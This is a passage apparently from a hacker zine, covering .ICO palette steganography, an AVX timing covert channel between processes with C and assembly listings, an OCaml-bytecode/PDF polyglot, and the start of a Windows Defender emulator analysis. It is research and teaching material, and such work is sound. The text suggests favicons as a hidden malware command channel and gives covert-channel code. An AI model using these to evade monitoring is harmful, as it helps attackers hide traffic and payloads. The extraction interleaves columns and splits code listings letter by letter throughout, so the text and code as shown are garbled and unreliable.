negatively biased against the grids and plates. The
microHenry. Though not precise, this is enough to
grids don’t need to be driven to block the excited
find the base – an inductor with 100µH will have
electrons; they can instead be left floating and will
around 100 turns. The inductor must also have
bias themselves enough to shield the plates. There
other commonly found features – it must be without
was a difficult part, of course, for the filament must
shield, and naked, and large enough to wind more
be near ground while the grids and plates must be
loops around. The requirements thus listed; not five
way up near 60 volts. But this was a false truth! A
minutes later an acceptable component was found.
simplification, by those who sought to keep things
aligned in tables and books. The truth was that Thus by using a cheap inductor and simply wrap-
there just needed to be more than 30 volts of differ- ping the extra windings needed around it, the trans-
ence and it mattered not where the ground was. former was made. With the pulsed current from a
With this knowledge in hand I sought a compo- MOSFET, the field inside the transformer formed
nent; something that would keep things biased and and collapsed and the dual output of the bridge rec-
powered. But again and again I came up with only tifier and the filament heater could share the field
components made of unobtainium. Long hours I and regulate with it.
sat until the simplicity of the whole problem came The rest was simple software, secrets whispered
clear – it was a supply with two purposes and the to sand that made it do tasks over and over, with
rest was just discrete MOSFETs of the P-type. The just a little more power to keep the sand thinking.
supply needs to do two things at once; it needs to A CPU can turn on and off the grids and plates
couple current back and forth across the heaters and allowing current where needed and blocking where
at the same time it needs to bias those wires down not. The project, a watch, could now show numbers
until the electrons leap free. A transformer can do and count out the passage of time as a river counts
this when coupled with source for changing currents. the passage of fishes.
The source would be very easy, I had a controller And so, no components of unobtainium were
nearby and could turn on and off a MOSFET, while needed, and none were sourced. No sums of money
a transformer could take those pulses of current and were traded for things too rare to be affordable. Do
wash the electricity back and forth to heat the wire. not fret when a component seems to only come from
A second winding on the transformer could even be unobtainium; fear not when the stores of the great
attached to diodes and they can push together to component suppliers run empty and lead times are
bias the heaters down far enough. only given in cycles of the seasons. Often it is not
But lo, the ugly head of the unobtainium com- the components that you seek but rather their func-
ponent reared again! For though transformers are tion, the result of them being there. You can look
common enough, ones with the ratio set of one-to- deeper, understand the need, and fill the empty spot
one and one-to-ten together aren’t. The suppliers with something better.
were barren, once more having only the holes and
echos where the transformers may have been. Thank you.
45
46
19:08 Steganography in .ICO Files
by Rodger Allen
These days, with a megapixel camera in all our MSDN page on the RGBQUAD struct states that the
phones, we are used to full colour, 24-bit images. fourth byte is “reserved and must be zero.” 52
The days of 256 colour images may seem to be some- The depth of colour in a palettized image is then
thing that only our older neighbours might remem- still the same as a full 24-bit colour image - each
ber. But these low-res images are still with us and pixel is still a full 24-bit colour. It’s just that the
so ubiquitous that they go unnoticed. palettized image is likely to contain fewer overall
Minimize all the windows on your desktop and colours than the 24-bit-per-pixel image. Indeed,
you’ll likely see a dozen or more of them. Check the even the so-called monochrome 1-bit image isn’t re-
tabs in your browser and you’ll see many more. Yep, stricted to just black and white; the two colours can
a great deal of those icons and favicons are actually both be full 24-bit colours.
low resolution bitmaps.
And they’re a great place to hide data! The choice as to whether to use a palettized im-
age or just have 24-bit pixels mostly comes down to
file size. For a small image, such as an icon (and we’ll
BMP Palettes come back to these soon) you might find it better
First, let’s discuss how Palettized BMPs work. The to use 24-bit pixels instead of allocating 1k for the
basic structure of a bitmap file is a bit like so. palette. For example, a 16×16 image might use just
20-odd different colours. If it used a palette, then
the file size would be (roughly) 1.25k (1024 bytes
// 14 Byte F i l e H e a d e r .
2 typedef struct tagBITMAPFILEHEADER {
for the palette and then 256 bytes (16×16) for the
WORD bfType ; pixels), with roughly 900 bytes of palette unrefer-
4 DWORD b f S i z e ; enced and unused. Using 24-bit pixels would yield a
WORD b f R e s e r v e d 1 ; file size of approx .75k (0 bytes for the palette and
6 WORD b f R e s e r v e d 2 ;
DWORD b f O f f B i t s ; 768 bytes (16×16×3) for the pixels). The figures
8 } BITMAPFILEHEADER; for a 32×32 pixel image would be 2,048 bytes for
the palettized image and 3,072 bytes for the 24-bit
10 // 5 d i f f e r e n t s i z e s , 20 t o 124 b y t e s . version.
struct DIBHeader ;
12
// O p t i o n a l , 8 t o 1024 b y t e s .
14 struct P a l e t t e ;
Palette Histograms
16 //Rows a r e n u l l −padded , d i v i s i b l e by f o u r .
RGBQUAD p i x e l s [ ] ;
The key element of this steganographic technique is
to take a histogram of the palette colours that are
Bitmap images that don’t use a palette define the used in the pixels. It is often the case that not every
colour independently for each pixel. Each pixel uses colour defined in the palette is actually used by the
three bytes (24 bits) to define the Red, Green and pixels. The histogram makes a count of the number
Blue (RGB) channels. The pixels in a palettized im- of times each colour is used. We are interested in
age reference the Palette to define the colour for each the colours that have a count of zero, since we can
pixel. 256-colour bitmaps use 8-bit pixels, 16-colour then overwrite those colours (bytes) in the palette
bitmaps use 4-bit pixels, and 2-colour bitmaps use array, and it won’t affect the display of the image.
a single bit for each pixel. To extract the data utilises the same process -
The palette structure uses four bytes to define take a histogram of the pixels per palette colour,
each RGB, with the fourth byte being reserved. The and read those bytes out.
52 MSDN tagRGBQUAD Structure
47
This technique has three important advantages Detectability
over the LSB (Least Significant Bit) method:
Despite the claim to deniability, there are some ob-
First, there is no need to have a reference im-
vious markers of the injection. For starters, take a
age. The LSB method makes comparison between
look at the examples of a palette from an image pro-
the original image and the injected image to deter-
cessed by MS Paint, which is for the most part the
mine which bits have been altered. With this tech-
old web-safe palette, or the palette generated by Im-
nique, the original pixel array is the key to which
age Magick’s convert utility,53 which is front-loaded
bytes are to be read from the palette.
with the actual colours in the image, and then the
Second, and depending on the image size, there is
rest is solid black (0x000000). Yet another palette
the potential to store quite a bit more data into the
that was converted from 24-bit to 256 colours by Im-
image. The LSB method generally only uses one bit
age Magick does display quite a spread of colours:
per colour channel, so even with 24-bit images it can
only store three bits per pixel. This method though
has an upper-limit on the amount of data that can
be stored per image - an 8-bit palettized image that
only uses two colours leaves 254 free colours, there-
fore leaving 762 bytes to inject into. The size of the
image itself doesn’t change this.
Finally, there is an element of deniability in the
histogram method. Steganography is framed as a
game between two prisoners, Alice and Bob, who
wish to privately communicate in the presence of
a warden, Mallory, who can read all of their mes-
sages. Even if Mallory does notice that the palette is Image Magick Short Palette
weird, Alice or Bob could quite plausibly say, “Hey,
that’s just the palette that the image creation soft-
ware made.” Of course, Alice and Bob could only
use their image once without drawing attention to
them.
You might remember from earlier that each
palette entry uses four bytes. I quite deliberately
only use the three RGB bytes to inject and leave
the reserved bytes alone, mostly on the grounds of
detectability.
48
Then compare these to the palette from an in- Icons
jected image. It is obvious that the colours have
But who uses those palettized bitmaps any more?
been all jumbled up.
The camera in your phone, heck, even the display
on your phone, is capable of taking and displaying
images with a bewildering depth of colour. And
nowadays, bandwidth is cheap and fast, and image
compression algorithms are good enough, that there
is little reason to lower the quality of the images.
There are two places, however, where these im-
ages are, if not ubiquitous, at least quite widespread.
Take a moment, and minimize all the windows on
your desktop. Most of those icons will be using
bitmaps. Now open a browser and navigate to some
random page. That little icon in the browser loca-
tion bar or in the tab is also most likely a bitmap,
and is known as a favicon. Not every website has
them, but almost every browser will request them.
The Icon file format is basically a little directory
of multiple images. The format for an Icon header
follows this general schema:
1 typedef struct {
WORD i d R e s e r v e d ; // Always z e r o .
Image Before and After Injection 3 WORD idType ; // Often 0 x0100 .
WORD idCount ; // Count o f d i r e e n t r i e s .
5 } ICONHEADER;
1 typedef struct {
BYTE bWidth ;
3 BYTE bHeight ;
BYTE bColorCount ;
5 BYTE bReserved ;
WORD wPlanes ;
7 WORD wBitCount ;
DWORD dwBytesInRes ;
9 DWORD d w O f f s e t ;
} ICONDIRENTRY
49
array. The second is literally an array of bits that
act as a mask that is used to determine the trans-
parency of the icon.
One major difference between the Icon format
and the DIB format (the actual image format con-
tained in the BMP), is that the Icon header infor-
mation is little-endian, and the DIB format is big-
endian. So the resultant file is a mix of both big and
little endians.
Consider that idCount field. An icon file can
contain up to 65,536 image resources. That’s up to
48Mb worth of injectable palette space!
−− i c o h e a d e r
2 00 00 idReserved
01 00 idType
4 02 00 idCount
6 −− r e s o u r c e h e a d e r 1
10 bWidth
8 10 bHeight
00 bColorCount ( 0 i f >=8bpp )
10 00 bReserved ( must be 0 )
01 00 wPlanes
12 08 00 wBitCount
68 05 00 00 dwBytesInRes
14 26 00 00 00 dwOffset
16 −− r e s o u r c e h e a d e r 2
etc
18
−− r e s o u r c e data 1
20 e t c S t a r t s a t 0 x00000026 ,
c o n t a i n i n g 0 x0568 b y t e s .
22
Consists of :
24 ∗ DIBHeader
∗ P a l e t t e ( maybe )
26 ∗ Pixels
∗ T ra n s pa r e nc y mask
28
−− r e s o u r c e data 2
30 e t c
50
Uses in the Past and Future You can also, of course, just tack on the extra data
at the end of the file, and it should be ignored by
Taking a look at the favicons used by the top thou-
the image viewer.
sand sites from the Alexa list. Just under seven hun-
The default image viewers (eog, shotwell) on the
dred of the sites responded with an image file. Of
version of Linux I am currently using doesn’t like the
these, 560 were icon resource files, that is, the type
padding before the pixels, rendering the image with
of icon files I’ve described above. The others were
those padded bytes; maybe one of our memory-bug
in general just PNGs or other image types simply
hunting friends could find some delight here. Gimp
renamed with the .ico extension.
is okay though. Windows seems to behave correctly
Of these icon resources, at least 1-in-7 contained
and ignores the extra bytes.
an 8-bit BMP image, suitable for palette injection.
Around three quarters of these files contained only
one or two images, but there were four favicons that Where’s the code?
contained ten or more bitmaps.
The POC code is a tool called Stegpal, written in
Given how widespread these favicons are and
Haskell. If the source is not yet available from Hack-
their variety, and the fact that they are effectively
age, you’ll find it attached to this PDF and as the
ignored by most web security monitoring systems,
Favicon for the most popular PoCkGTFO mirror.55
they would an excellent mechanism for at least part
of a C2 (Command and Control) channel for mal-
ware. Indeed, there is some history with the Vaw- Creating icons
trak malware using LSB steganography to commu- I used Image Magick to create sample icons. I wasn’t
nicate updates from their C2 servers.54 Other mal- too worried about the transparency bits, as they
ware rootkits have just renamed their malware to don’t change anything about the palette.
favicon.ico, but are in reality just raw (or obfus-
Start with a an image that is going to bear be-
cated) PHP code or the like.
ing reduced down to a small size. The number of
As for prior art, I haven’t been able to discover
colours doesn’t matter too much as this process will
any other previous uses of this technique of repur-
reduce that anyway. It’s best if the original image
posing the unused bytes in an image palette. If any
has equal dimensions for width and height.
brethren know of similar techniques, I’d love to hear
Create a bunch of smaller scaled images from the
about it.
original. Favicons are usually 16x16 (ish), but you
Bitmaps aren’t the only image type that use a
can create them any size you want.
palette. PNGs, for instance, have a PLTE chunk
Then feed all of the smaller BMPs into one ico.
that describes the colours in the image. But the
PNG format removes the dead colours and the
PLTE chunk only contains a list of the actual used # Creating icons
colours, thereby reducing the size. The PNG stan- 2
c o n v e r t s o u r c e . bmp − s c a l e 64 x64 \
dard does however allow the PLTE chunk to contain 4 −t y p e P a l e t t e −depth 8 −c om pr e ss none \
more colours than are actually used. This histogram temp−64x64 . bmp
technique would then reduce to adding extra bytes 6 c o n v e r t s o u r c e . bmp − s c a l e 32 x32 \
−t y p e P a l e t t e −depth 8 −c om pr e ss none \
to the image file, a method I was trying to avoid.
8 temp−32x32 . bmp
On the subject of adding extra bytes, notice that c o n v e r t s o u r c e . bmp − s c a l e 16 x16 \
both BMPs and Icons are what I call indexed file for- 10 −t y p e P a l e t t e −depth 8 −c om pr e ss none \
mats; that is, the header contains information about temp−16x16 . bmp
the offset (where the image data starts) and size 12 c o n vtemp−16x16
e r t temp−64x64 . bmp temp−32x32 . bmp
. bmp f a v i c o n . i c o
\
51
52
19:09 The Pages of PoC||GTFO
To the tune of “The Cover of the Rolling Stone” by Dr. evm and the MMX Show
by Dr. Hook and the Medicine Show (with apologies to, and warm regards for, the late great Shel Silverstein)
53
54
19:10 Vector Multiplication as an IPC Primitive
by Lorenzo Benelli
55
Latency is key
With this rough idea of the inner workings of the In-
tel’s CPU power management, I wrote a tiny snippet
of code that launches two processes with the ability
to communicate without any nasty interaction with
the OS.
One parameter offered by the code is TIME_-
SCALE, which you can set at your convenience in
1 #include <i m m i n t r i n . h> case your plotting utility doesn’t implement hori-
#include <s t d i o . h> zontal zooming, or if you wish to pin the processes
3
#define TIME_SCALE 1 . 0
to far away cores.
5 #define BUFSZ 0 x400 As we’d like to eventually store some measure-
ments, BUFSZ provides a way to delay the unavoid-
7 void b s l e e p ( u i n t 6 4 _ t ) ; able write() call, because the longer we can prolong
void send ( u i n t 8 _ t ) ;
9 void r e c v ( void ) ; our abstinence from kernel communication, the bet-
ter.
11 i n t main ( ) { For each bit to be transmitted, the sender pro-
pid_t p i d ;
cess either executes a very long succession of AVX2
13
i f ( ( p i d = f o r k ( ) ) == 0 ) { multiplications, or enters a busy loop, doing noth-
15 recv () ; ing for long enough that the PCU decides to revoke
} e l s e i f ( p i d != −1) { its power license, powering off the vector execution
17 send ( ’P ’ ) ;
send ( ’ o ’ ) ;
units.
19 send ( ’C ’ ) ; Another process, the receiver, runs a short burst
b s l e e p ( 0 x400000000 ) ; of vector instructions, then also sleeps for enough
21 k i l l ( pid , 9 ) ; time that the PCU decides to revoke its power li-
}
23 return 0 ;
cense. The receiver process is also keeping track of
} its execution speed via the rdtsc instruction, peri-
25 odically dumping it to stdout.
void b s l e e p ( u i n t 6 4 _ t c l k ) {
27 u i n t 6 4 _ t beg , end ;
u i n t 3 2 _ t h i0 , l o 0 , hi1 , l o 1 ; void send ( u i n t 8 _ t c ) {
29 asm v o l a t i l e ( 2 f o r ( i n t i =0; i <8; i ++) {
" c p u i d \n\ t " u i n t 8 _ t b i t = ( c >> i & 1 ) ;
31 " r d t s c \n\ t " 4 if ( bit ) {
"mov %%edx , %0\n\ t " f o r ( u i n t 6 4 _ t i =0; i <0x4000 ∗SCALE ; i ++){
33 "mov %%eax , %1\n\ t " 6 asm v o l a t i l e (
: "=r " ( h i 0 ) , "=r " ( l o 0 ) : : " pushq $0x40000000 \ r \n"
35 "%r a x " , "%rbx " , "%r c x " , "%rdx " 8 " v b r o a d c a s t s s 0(%%r s p ) , %%ymm0\ r \n"
); " v b r o a d c a s t s s 0(%%r s p ) , %%ymm1\ r \n"
37 end = beg = ( ( ( u i n t 6 4 _ t ) h i 0 << 3 2 ) | l o 0 ) ; 10 "mov $10000 , %%e c x \ r \n"
while ( end − beg < c l k ) { " l o o p 1 : \ r \n"
39 asm v o l a t i l e ( 12 " vmulps %%ymm0, %%ymm1, %%ymm1\ r \n"
" c p u i d \n\ t " " dec %%e c x \ r \n"
41 " r d t s c \n\ t " 14 " j n z l o o p 1 \ r \n"
"mov %%edx , %0\n\ t " " popq %%r c x \ r \n"
43 "mov %%eax , %1\n\ t " 16 :::
" pause \n\ t " );
45 : "=r " ( h i 1 ) , "=r " ( l o 1 ) : : 18 b s l e e p ( 0 x20000 ) ;
"%r a x " , "%rbx " , "%r c x " , "%rdx " }
47 ); 20 } else {
end = ( ( ( u i n t 6 4 _ t ) h i 1 << 3 2 ) | l o 1 ) ; b s l e e p ( 0 x8db6db6d ∗ SCALE) ;
49 } 22 }
} f p r i n t f ( s t d e r r , " t i c k %d\n" , b i t ) ;
24 }
}
56
If the receiver process is running during a qui-
escent period of the sender process, meaning that
1 void r e c v ( void ) {
u i n t 6 4 _ t beg , end , i = 0 ; the vector registers are powered down, it will run
3 u i n t 3 2 _ t hi0 , l o 0 , hi1 , l o 1 ; at about half the speed for at least 150K clock cy-
s t a t i c u i n t 6 4 _ t time [ BUFSZ ] ; cles, which is roughly the warm-up period on Coffee
5 s t a t i c char b u f [ 0 x10000 ] , ∗ i t = b u f ;
Lake. Otherwise, it will dash forth at full speed. Re-
7 while ( 1 ) { peating this enough times, the receiver can gather
asm v o l a t i l e ( sufficient evidence to know what bit was being sent
9 " c p u i d \n\ t " to him by his neighboring process.
" r d t s c \n\ t "
11 "mov %%edx , %0\n\ t " On page 58 you can see the data plots taken from
"mov %%eax , %1\n\ t "
13 : "=r " ( h i 0 ) , "=r " ( l o 0 ) : :
some Kaby, Coffee Lake, and Sky Lake systems, and
"%r a x " , "%rbx " , "%r c x " , "%rdx " a reference of the inverted ASCII signal, where the
15 ); most significant bits are sent last.
asm v o l a t i l e (
17 " pushq $0x40000000 \ r \n"
" v b r o a d c a s t s s 0(%%r s p ) , %%ymm0\ r \n"
19 " v b r o a d c a s t s s 0(%%r s p ) , %%ymm1\ r \n"
"mov $10000 , %%e c x \ r \n"
21 " l o o p : \ r \n"
" vmulps %%ymm0, %%ymm1, %%ymm1\ r \n"
The End
23 " dec %%e c x \ r \n"
" j n z l o o p \ r \n"
25 " popq %%r c x \ r \n" What is actually happening inside the processor is
::: not completely clear to me. Perhaps the vector units
27 ); are not kept active all the time while executing AVX
asm v o l a t i l e (
29 " c p u i d \n\ t "
code. Since the PCU on mixed scalar/vector work-
" r d t s c \n\ t " loads has already lowered the frequency of all the
31 "mov %%edx , %0\n\ t " cores, it has more room to adjust their voltages
"mov %%eax , %1\n\ t " quickly, and it is consequently able to power the
33 : "=r " ( h i 1 ) , "=r " ( l o 1 ) : :
"%r a x " , "%rbx " , "%r c x " , "%rdx "
wide paths faster, ultimately with similar effects.
35 ); Let me know if you manage to figure this out, neigh-
beg = ( ( ( u i n t 6 4 _ t ) h i 0 << 3 2 ) | l o 0 ) ; bors!
37 end = ( ( ( u i n t 6 4 _ t ) h i 1 << 3 2 ) | l o 1 ) ;
time [ i ++] = end − beg ; Finally, a few words about why I think this is a
39 better way for processes to communicate.
b s l e e p ( 0 x1000000 ) ;
41 First, the processes get to avoid those pesky
i f ( i == BUFSZ) {
43 i = 0;
syscall instructions which make the software we
f o r ( u i n t 6 4 _ t i = 0 ; i < 1 0 2 4 ; i ++) { write daily completely non-portable.
45 i t += s p r i n t f ( i t , "%l u \n" , time [ i ] ) ;
} Second, although not as fast as other IPC imple-
47 p r i n t f ( "%s " , b u f ) ; mentations, this one makes communication a CPU-
i t = buf ; bound problem instead of an I/O-bound one, which,
49 }
}
as everybody knows, is a much nicer problem to
51 } have.
Third, two processes in completely separate VMs
can now communicate, without the extra long and
boring configuration jobs that sysadmins have to do
in order to get the infrastructure to work.
Employees must This is why, neighbors, you should promptly ex-
wash hands before periment with this method, as well as try to find
returning to libc further novel and nifty ways to use our processors.
Maybe we will one day be able to multiply two vec-
tors with only syscall instructions!
57
Coffee Lake Warmup Time Sky Lake Warmup Time
58
59
19:11 Camelus Documentum: A PDF with Two Humps
by Gabriel ‘Drup’ Radanne
Science is in crisis. The nonsensical editorial The index is a list of pairs composed of a four let-
model is attacked,56 the validity of peer review sys- ter name and a length in bytes. The order of the sec-
tems is questioned, and, our topic today, the repro- tions is not important. The virtual machine knows
ducibility of scientific research is put in doubt. As about a fixed set of sections: CODE, DATA and PRIM
computer science researchers, we gain reproducibil- (which contains the list of the required C primitives)
ity mostly by providing an implementation of the are mandatory. In addition, it can contain other sec-
scientific concept that can then be executed: a Proof tions such as DLLS (required libraries), DLPT (where
of Concept, if you will. As a programming language to find libraries), DBUG (debug information), CRCS
enthusiast, my weapon of choice is OCaml. (CRCs of contained modules), and SYMB (nobody
To make my research reproducible, I would like knows, it’s not documented, but it’s probably about
to include my PoC directly into my paper, so that symbols).
reviewers and readers can read and execute my re-
search directly. To achieve this, I’m going to show
you how to embed a portable OCaml bytecode exe- +−−−−−−−−−−−−−−−−−−−−−−−−−−+
cutable directly into a PDF article. | I g n o r e d Header |
+−−−−−−−−−−−−−−−−−−−−−−−−−−+
| Section 1 | ^
Do virtualized camels dream of +−−−−−−−−−−−−−−−−−−−−−−−−−−+ |
| Section 2 | |
lambda-expressions? +−−−−−−−−−−−−−−−−−−−−−−−−−−+ |
. | Sections
OCaml is the hipster of programming languages. . |
It’s a statically typed programming language with . |
support for both functional and object-oriented +−−−−−−−−−−−−−−−−−−−−−−−−−−+ |
paradigms that was created in 1996, long before | Section N | v
+−−−−−−−−−−−−−−−−−−−−−−−−−−+
it was cool. Its main selling point is its sensible | Description of Section 1 | ^
and usable design, which is achieved by reaching a +−−−−−−−−−−−−−−−−−−−−−−−−−−+ |
compromise between the practicality of Haskell, the | Description of Section 2 | |
safety of C and the speed of Lisp. While OCaml +−−−−−−−−−−−−−−−−−−−−−−−−−−+ |
. | Index :
is genuinely an amazing language, it also possess a . | n ∗64 b i t s
slightly unusual feature: it can be compiled to either . |
native executable for speed, or to bytecode, which +−−−−−−−−−−−−−−−−−−−−−−−−−−+ |
| Description of Section N | v
can be executed on a virtual machine. Bytecode is
+−−−−−−−−−−−−+−−−−−−−−−−−−−+
portable,57 rather lightweight, and reasonably fast. | Nb o f S e c t s | MagicNumber |
So, what does OCaml bytecode look like? It’s +−−−−−−−−−−−−+−−−−−−−−−−−−−+
actually a fairly simple file format: a bytecode file is one 32 b i t s twelve 8 b i t s
integer chars
divided into sections. Just like ZIP files, the content
starts from the end. The last line of the file should
be composed of a magic number that identifies the
version of the bytecode, the number of sections, and Description of a Section
+−−−−−−−−−−−−+−−−−−−−−−−−+
an index. | Name | Length |
+−−−−−−−−−−−−+−−−−−−−−−−−+
<−−−−−−−−−−> <−−−−−−−−−>
four 8 bits one 32 b i t s
chars integer
60
%PDF-1.4
%
1 0 obj
/Title(
/Author(Gabriel Radanne)
Metadata
/Creator([email protected])
/Subject(This
PDF is an OCaml bytecode. The OCaml bytecode is a
program which takes and arbitrary pdf, a bytecode, and merges
them in a file that is both a valid PDF and a valid bytecode.
This Poster contains the code of the PDF.)
/Keywords(OCaml, PDF, Bytecode, Polyglot files)
/Producer(Pdflatex, Mutool, ocamlc and Emacs)>>
endobj
2 0 obj
<</Type/Filespec/F(bytepdf.bc)/EF<</F 23 0 R>>>>
endobj
Fonts and content
3 0 obj
<</Length 13139/Subtype/Type1C/Filter/ASCIIHexDecode>>
stream
010004020001010106434d5231300001010131f81b01f81c02f81d038bfb8ef9c1f982051d000f42401d1ed9b0ee0e8b0c038b0c04ad1c192012f7fd11f7960ff76110000301016e7382436f707972696768742
028632920313939372c203230303920416d65726963616e204d617468656d61746963616c20536f636965747920283c687474703a2f2f7777772e616d732e6f72673e292c207769746820526573657276656420
466f6e74204e616d6520434d5231302e434d523130436f6d7075746572204d6f6465726e00000033416e6f5943704472467347747549764a77617862796364654f665067685269546b6c6d3437213a28295b0c2
c5d2d2e3031320b000022004f0050003a002400510025005300270054002800550056002a0057002b0058004200590043005a004400450046003000470031004800490033004a0035004c004d004e0015001800
02001b0009000a003c006d000d003e000e00...
endstream
endobj
...
14 0 obj
<</Length 9805>>
stream
q .1 0 0 .1 0 0 cm /R9 gs q BT 1 0 0 1 191.844 615.392 Tm 10 0 0 10 0 0 cm 0 g /R10 17.2154 Tf [(T)-.5998781(h)-.90052708(i)-.59846(s)-302.39503(P)-.199959(D)-.
5998781(F)-302.11(i)-.5998781(s)-302.39805(a)-.5998781(n)-301.90605(O)-1.8067302(C)-.5998781(a)-.601297(m)- 10068901(l)-301.61(b)25.1056(y)-.700567(t)-.09927071(e)-.
39991904(c)-.39991904(o)-26.591803(d)-.90194508(e)-.39991904]...
endstream
endobj
...
23 0 obj
<</Length 5541629/Type/EmbeddedFile>>
stream
Embedded File
#!ocamlrun
0a54000000df020000000000005700000001000f0010000000130000001c000000250000002e000000370000004000000049000000520000005b000000670
OCaml Bytecode
Sections of an
0003f00000002000000280000000200000000000000430000000a00000032000000210000003f0000000300000028000000020000...
dllunix\000dllbigarray\000
caml_abs_float\000caml_acos_float\000caml_add_debug_info\000caml_add_float\000caml_alloc_dummy\000caml_alloc_dummy_float\000c
aml_alloc_dummy_function\000caml_alloc_float_array\000caml_array_append\000caml_array_blit\000caml_array_concat\000caml_array
_get\000caml_array_get_addr\000caml_array_get_float\000...
DATA
\000\000\000$u\000\000\000\000~\000=\000\000\000Out_of_memory\000\000\000)Sys_error\000\000\000'Failure\000\000\0000Invalid_a
rgument\000\000\000+End_of_file\000\000\0000Division_by_zero\000\000\000)Not_found...
SYMB
01\012ÒÐ@°@,Astring_charA\001\012ß@AC°@.Astring_escapeA\001\012ÝÐÐ@°@.Astring_stringA\001\012ñ@A°@+Astring_subA\001\012ä@BD°@
.Astring_unsafeA\001\012ÊÐÐÐÐ@°@"...
CRCS
UnixLabels1768838436Unix1751340325Uchar1937330979Sys1920226086String1685345064Stack1952797475Set1701990951Rresult1936020006Re
sult1851871782Random1702187301Queue1769099302Printf1769099304Printexc1919242282Pervasives1717850151Pdfwrite1717850152...
xref
Table of PDF objects
0 42
0000000000 65535 f
0000000015 00000 n
0000000420 00000 n
0000000499 00000 n
0000013726 00000 n
...
0005604545 00000 n
0005604833 00000 n
0005605296 00000 n
0005605640 00000 n
0005605926 00000 n
trailer
<<
/Size 42
/Info 1 0 R
/Root 7 0 R
/ID [ (l0.\214N\263\323\221\032Vd\310\023c<v) <FBC9DF422D8B8E6FE7DDBD0C0815AF47> ]
>>
startxref
%%EOF
CODE000F8668 DLPT00000000 DLLS00000014 PRIM000023BC DATA000117B6 SYMB000009C1 CRCS000009C1 DBUG0043B769 XPDF0000475A Enhanced Index
Not read by 00000009 with XPDF section
Caml1999X011
PDF readers
61
The current implementation of the virtual ma-
chine ignores the content of unknown sections, as
long as they use cryptic four-letter names. It also
ignores any data before the first section. For conve-
nience, the OCaml compiler adds a shebang at the
beginning of the file pointing to the bytecode run-
time, but it’s not required.
For the curious and the masochistic, non-official
documentation of the bytecode and its instructions—
it’s a neat stack machine—is available.58 We will
content ourselves with this basic knowledge, which
is sufficient to use and abuse bytecode files in all
sorts of fun ways.
62
Proof of Camels Yo Dawg, I heard you liked polyglots
We now have all the ingredients, let’s make a PoC! Having an OCaml tool to smash PDFs and byte-
We start with a regular LaTeX file, in which we em- codes together, we can compile that tool to byte-
bed the content using Ange’s trick: code, and smash it together with a PDF describing
the tool itself!
This is in fact slightly more delicate that ex-
\ i m m e d i a t e \ p d f o b j s t r e a m a t t r {/ Type / E m b e d d e dF i l e } pected. Camlpdf relies on custom C code for en-
f i l e { c l e a n . byte }
\ i m m e d i a t e \ p d f o b j {<< cryption and compression, which can’t be embedded
/ Type / F i l e s p e c /F ( t h i n g . b y t e ) /EF <</F \ t h e \
p d f l a s t o b j \ s p a c e 0 R>> in normal bytecode. Instead, the OCaml compiler
>>}
\ pdfannot { adds ELF metadata in the bytecode to include the
/ S u b t y p e / F i l e A t t a c h m e n t /FS \ t h e \ p d f l a s t o b j \ s p a c e 0 R
/F 2 % F l a g : Hidden C symbols (thus creating a polyglot!). It might be
}
possible to combine everything together, but we can
also simply disable these features.
But what if we want more polyglots? The ques-
tion of which formats are polyglot-compatible in the
Our bytecode file ocaml.byte is now embedded general case is a fairly interesting one. Bytecode
as an attached file that can be accessed in Acrobat and ZIP both require a trailer at the end of the file,
Reader. We then add a suffix that contains an in- and are thus incompatible. However, both are com-
dex with an additional section, PDFX, that will have patible with header-based formats, such as images.
the exact length from the beginning of the normal Additionally, as long as the other formats have com-
index up to the end of the PDF. Since the bytecode ments (or binary contents; that’s obviously the same
interpreter ignores unknown sections, this is a valid thing, isn’t it?), we can interleave them with OCaml
OCaml bytecode file. Since the index is very small, bytecode. The next step is to extend the byte-
the file is also a valid PDF.60 pdf tool to make JPEG-PDF-bytecode polyglots.
We might also consider OCaml bytecode chimeras,
which contain some format in their DATA section,
Vulgaris Camelus documentum but are also valid files for using this format without
duplication. As before, this should be possible with
PoCs are nice, but libraries are better! Let’s any header-based format that uses offsets.
make a tool that takes an arbitrary PDF, an ar- And now, dear readers, I hope you know what
bitrary OCaml bytecode program, and smashes to do for your next research paper(s)!
them together. Fortunately, OCaml already has
high-quality libraries for dealing with both formats,
namely camlpdf61 and obytelib.62 We simply need
to grab both files, decompose their structure, make
some creative interleavings, and recompose the in-
dex to have all the right indices and offsets according
to the technique revealed above. Easy peasy!63
Since the content of the binary stream containing
the bytecode must be kept intact, we must take care
to disable many traditional optimizations for stream
content, most notably compression and reencoding
for that stream. The original PDF can be of arbi-
trary shape and provenance.
63
19:12 Inside the Emulator of Windows Defender
by Alexei Bulazel
64
and teardown routines that invoke functions of in- right directories, they can be loaded with LoadLi-
terest unrelated to actual malware execution, as is brary, etc. Like real DLLs, they are compiled x86
the case with Windows Defender. I would note that code, and they run at the same privilege level, with
I’ve found code coverage exploration tools, such as the same stack, registers, and other facilities as the
a customized version of Markus Gaasedelen’s Light- code invoking them - it just happens that this is go-
house to be extremely helpful in understanding the ing on within a virtualized emulated process running
big picture of emulator execution.65 on an emulated CPU.
While Defender supports other architectures and On a real Windows system, some DLL func-
binary formats, this article will focus solely on em- tions may ultimately resolve to triggering system
ulator support for 32-bit Windows PE executables. calls where interaction with the kernel is necessary
Readers interested in other dynamic analysis facili- (e.g., when writing a file to disk, opening a net-
ties in Defender can check out my REcon Brussels work socket, putting the process to sleep, etc.), while
2018 presentation on Defender’s JavaScript engine. others may stay in usermode and simply set re-
turn values or transform input. (E.g., grabbing the
IsDebuggerPresent flag off the PEB, translating a
On Emulator Architecture string to uppercase, or performing a memcpy.) Sim-
AV emulators are generally constructed from three ilarly, Defender’s VDLLs may trap into special na-
key components - CPU emulation, operating system tively implemented emulation routines akin to per-
emulation, and a virtual environment. Due to per- forming system calls, or they may stay executing
formance and legal licensing concerns, CPU and OS solely within emulator memory while setting return
emulation are usually wholly proprietary and built values or manipulating input.
on AV-industry developed tooling, not open source Lets take a look at the simpler form of VDLL em-
projects like QEMU or WINE. ulated functions - those which stay executing in em-
CPU emulators implement a particular instruc- ulator memory without trapping out to a special ker-
tion set architecture in software, so that binary code nel syscall-like emulation routine implemented in na-
can be executed in the emulator. OS emulation is tive code. Figure 5 shows Defender’s kernel32.dll
software-based emulation of operating system facil- VDLL emulation of kernel32!GetComputerNameW.
ities - allowing malware to make OS API calls as it When a malware binary calls GetComputerNameW,
runs. Finally, emulators must emulate a virtual en- this code provides emulation of the function with
vironment with observable traits such as usernames, x86 code that simply runs on the virtual CPU. As
files on disk, and registry entries, among many other we can observe, this routine is hardcoded to return
traits. Other than a handful of traits that are acces- the string “HAL9TH” - evidently the developer who
sible from within a processes actual memory space wrote this emulation was a fan of Arthur C. Clarke.
